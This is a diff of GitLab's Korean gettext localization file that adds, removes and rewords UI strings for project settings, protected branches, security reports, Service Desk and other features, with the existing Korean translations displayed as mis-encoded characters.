-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23673,12 +24279,15 @@ msgstr "ì´ ì„¤ì •ì€ ì„œë²„ 레벨ì—ì„œ ì ìš©ë˜ì—ˆìœ¼ë©°, 프로ì íŠ¸ì— ì
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr "관리ìžì— 변경ë˜ì§€ 않는 í•œ, ì´ ì„¤ì •ì€ ëª¨ë“  프로ì íŠ¸ì— ì ìš©ë©ë‹ˆë‹¤."
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23706,10 +24315,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24243,6 +24852,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24264,7 +24882,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24285,6 +24903,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24459,7 +25080,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24648,8 +25269,8 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
-msgstr "참조:"
+msgid "Reference"
+msgstr ""
msgid "References"
msgstr ""
@@ -24809,7 +25430,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24821,7 +25442,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24845,6 +25466,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -24893,9 +25517,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25142,6 +25763,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25183,8 +25807,8 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
-msgstr "í´ëž˜ìŠ¤"
+msgid "Reports|Base report parsing error:"
+msgstr ""
msgid "Reports|Classname"
msgstr ""
@@ -25203,6 +25827,12 @@ msgstr[0] ""
msgid "Reports|Failure"
msgstr "실패"
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25329,6 +25959,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25425,6 +26058,9 @@ msgstr "요청 프로필"
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25729,7 +26365,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -25873,6 +26512,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -25906,9 +26548,6 @@ msgstr ""
msgid "Running"
msgstr "실행중"
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr "현재 저장소ì—ì„œ íŒŒì¼ ê¸°ë¡ì„ 압축하거나, ë„달할 수 없는 ê°ì²´ë¥¼ 제거하여 정리를 실행합니다."
@@ -26005,6 +26644,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr "비밀번호 저장"
@@ -26023,6 +26665,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26047,9 +26692,6 @@ msgstr "ì¼ì •"
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr "파ì´í”„ë¼ì¸ 스케줄ë§"
@@ -26101,6 +26743,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26152,6 +26797,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26161,6 +26809,9 @@ msgstr "머지 리퀘스트(MR) 검색"
msgid "Search milestones"
msgstr "마ì¼ìŠ¤í†¤ 검색"
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr "검색 ë˜ëŠ” ê²°ê³¼ í•„í„°..."
@@ -26355,6 +27006,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26430,13 +27084,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26445,10 +27105,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26463,6 +27123,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26520,16 +27183,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your group"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26595,15 +27270,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26655,9 +27321,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26667,9 +27330,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26706,6 +27366,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26715,8 +27378,8 @@ msgstr "초대 í•  그룹 ì„ íƒ"
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
-msgstr "프로ì íŠ¸ë¥¼ í¬í¬ë¥¼ 위한 ì´ë¦„ ì„ íƒ"
+msgid "Select a milestone"
+msgstr ""
msgid "Select a new namespace"
msgstr ""
@@ -26745,9 +27408,15 @@ msgstr "시간대 ì„ íƒ"
msgid "Select all"
msgstr "ëª¨ë‘ ì„ íƒ"
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26802,9 +27471,6 @@ msgstr ""
msgid "Select projects"
msgstr "프로ì íŠ¸ ì„ íƒ"
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -26898,6 +27564,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27036,20 +27705,44 @@ msgstr "서비스 ë°ìŠ¤í¬"
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
+msgstr "서비스 템플릿"
+
+msgid "Service URL"
+msgstr "서비스 URL"
+
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
msgstr ""
-msgid "Service Templates"
-msgstr "서비스 템플릿"
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
-msgid "Service URL"
-msgstr "서비스 URL"
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
+msgstr ""
msgid "Session ID"
msgstr ""
@@ -27150,6 +27843,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27204,7 +27900,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "패스워드 설정"
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27216,6 +27912,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr "ìƒíƒœ 지우기"
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr "ìƒíƒœ 수정"
@@ -27237,6 +27936,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr "ìƒíƒœê°€ 어떤가요?"
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27440,9 +28142,15 @@ msgstr[0] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27461,6 +28169,9 @@ msgstr ""
msgid "Side-by-side"
msgstr "나란히"
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27701,6 +28412,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28379,13 +29093,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28400,9 +29114,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28415,7 +29126,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28505,9 +29216,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28523,9 +29231,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28583,9 +29288,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29209,6 +29911,10 @@ msgstr ""
msgid "Test coverage parsing"
msgstr "테스트 커버리지 파싱"
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29364,9 +30070,6 @@ msgstr[0] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29439,6 +30142,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29466,6 +30172,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29478,6 +30187,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29539,6 +30251,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "%{timeout} ì´í›„ 가져오기 ì‹œê°„ì´ ì´ˆê³¼ë˜ì—ˆìŠµë‹ˆë‹¤. 저장소가 ëŠë¦° 경우 복제/푸시 ì¡°í•©ì„ ì‚¬ìš©í•©ì‹œì˜¤."
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29599,6 +30314,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29671,6 +30389,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29722,6 +30443,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr "Staging 단계ì—서는 MR 머지과 프로ë•ì…˜ í™˜ê²½ì— ì½”ë“œ ë°°í¬ ì‚¬ì´ì˜ ì‹œê°„ì„ ë³´ì—¬ì¤ë‹ˆë‹¤. ë°ì´í„°ë¥¼ Production í™˜ê²½ì— ì²˜ìŒ ë°°í¬í•˜ë©´ ë°ì´í„°ê°€ ìžë™ìœ¼ë¡œ 추가ë©ë‹ˆë‹¤."
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29770,6 +30494,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29797,6 +30527,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -29830,9 +30563,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr "표시할 ì´ìŠˆê°€ 없습니다"
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30076,6 +30806,9 @@ msgstr "ì´ë©”ì¼ í† í°ì„ ìž¬ì„¤ì •í•˜ë˜ ì¤‘ 오류가 ë°œìƒí•˜ì˜€ìŠµë‹ˆë‹¤.
msgid "There was an error when subscribing to this label."
msgstr "ì´ ë¼ë²¨ì„ 구ë…í•˜ë˜ ì¤‘ 오류가 ë°œìƒí•˜ì˜€ìŠµë‹ˆë‹¤."
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr "ì´ ë¼ë²¨ì„ 구ë…ì·¨ì†Œí•˜ë˜ ì¤‘ 오류가 ë°œìƒí•˜ì˜€ìŠµë‹ˆë‹¤."
@@ -30214,7 +30947,7 @@ msgstr "ì´ ë³´ë“œì˜ ë²”ìœ„ê°€ 축소ë˜ì—ˆìŠµë‹ˆë‹¤."
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30298,6 +31031,9 @@ msgstr ""
msgid "This group"
msgstr "ì´ ê·¸ë£¹"
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30307,6 +31043,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30319,6 +31058,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30625,9 +31367,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30724,9 +31463,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31023,6 +31759,15 @@ msgstr "í•  ì¼ ëª©ë¡"
msgid "To GitLab"
msgstr "GitLab으로"
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31065,9 +31810,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31095,7 +31837,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31200,6 +31942,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr "토글 네비게ì´ì…˜"
@@ -31396,10 +32141,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31534,9 +32279,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr "서비스 ë°ìŠ¤í¬ 켜기"
-
msgid "Turn on usage ping"
msgstr ""
@@ -31591,6 +32333,12 @@ msgstr ""
msgid "URL"
msgstr "URL"
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -31993,7 +32741,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32002,6 +32750,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr "CSV íŒŒì¼ ì—…ë¡œë“œ"
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32098,6 +32849,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr "패키지"
@@ -32296,9 +33050,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32350,6 +33101,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32395,7 +33149,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
